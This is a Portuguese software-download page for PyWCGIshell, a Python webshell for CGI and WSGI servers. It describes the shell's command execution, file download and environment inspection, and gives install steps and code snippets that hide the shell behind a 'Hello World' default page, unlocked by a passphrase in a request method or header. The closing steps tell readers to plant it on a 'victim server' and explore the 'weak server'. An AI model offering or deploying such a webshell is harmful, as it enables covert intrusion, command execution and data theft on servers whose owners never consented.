Download de PyWCGIshell - PyWCGIshell Download do código -fonte

PyWCGIshell

Código-Fonte de IA

1.0.0

Baixar

Pywcgishell

Descrição

Este pacote implementa uma webshell para servidor CGI e WSGI.

Com esta webshell, você pode:

Explore diretórios e baixe arquivos
Executar linhas de comando (com histórico de comando)
Mostre informações básicas sobre o Ambiente Servidor
Mostrar variáveis de ambientes

Requisitos

Este pacote exige:

Python3
Biblioteca Padrão Python3

Instalação

pip install PyWCGIshell

Usos

Linha de comando

(A linha de comando é útil para experimentar o webshell)

python3 -m PyWCGIshell wsgi # Try it in wsgi mode

Script Python

Página CGI

 from PyWCGIshell import WebShell

def my_default_cgi_page ():
	print ( "Content-type:text/plain; charset=utf-8" )
	print ( "" )
	print ( "Hello World !" )

webshell = WebShell ()
webshell . standard_page = my_default_cgi_page
webshell . run ()

Página WSGI

 from PyWCGIshell import WebShell

def my_default_wsgi_page ( environ , start_response ):
    status = '200 OK'
    headers = [( 'Content-type' , 'text/plain; charset=utf-8' )]
    start_response ( status , headers )
    return [ b"Hello World !" ]

webshell = WebShell ( type_ = "wsgi" )
webshell . standard_page = my_default_wsgi_page
application = webshell . run
# Apache with mod_wsgi use the "application" as default function

Opções da webshell

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "cgi" , passphrase = "SHELL" , pass_type = "method" )
webshell . run ()

Não recomendo usar method como pass_type para ocultar sua webshell.

Você pode usar configuração semelhante para ocultar sua webshell.

 from PyWCGIshell import WebShell

webshell = WebShell ( type_ = "wsgi" , passphrase = "<inexistant api key>" , pass_type = "header_value" )
application = webshell . run

Para usar esta webshell:

Configurar (tipo de servidor, senha e localização da senha) e copie o código da webshell ou instale -o
Cole -o na página padrão do servidor de vítimas ou importe -o
Envie uma solicitação com a senha e explore o servidor fraco